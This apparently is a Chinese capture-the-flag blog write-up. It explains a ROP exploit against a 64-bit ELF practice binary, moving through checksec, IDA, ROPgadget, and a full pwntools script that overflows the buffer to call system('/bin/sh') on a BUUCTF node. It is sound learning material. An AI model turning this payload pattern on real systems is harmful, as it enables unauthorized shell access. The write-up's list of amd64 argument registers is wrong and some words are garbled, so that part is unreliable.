PWN手成长之路-05-ROP

image

与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
image

file 查看文件。64位 ELF 。
image

checksec 查看文件安全属性。
image

IDA 打开文件。查看 main 函数的反编译代码。
image

查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf 之后,栈上还有 8 字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的  s 和 r,各占 8 字节)。
image

ALT+B 进行搜索字符串:/bin,找到了后门函数。
image

并且在 say_hello 函数中发现了 system 这个提权函数。
image
image

双击这个 _system 函数,从而得到其地址。这个地址就是最后 system_addr 的地址。
image
image

原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system 函数(即缝合为 system("/bin/sh")),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。

利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh 地址传入 RDI 寄存器,劫持控制流程到已经存在的 system 函数地址,实现 system("/bin/sh") 的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。

但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
image

构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr

from pwn import *  
  
r=remote('node5.buuoj.cn',25975)  
rdi_addr=0x400663  
shell_addr=0x601048  
system_addr=0x400480      
payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)  
r.sendline(payload)  
r.interactive()
posted @ 2025-09-30 21:26  B0rry  阅读(9)  评论(0)    收藏  举报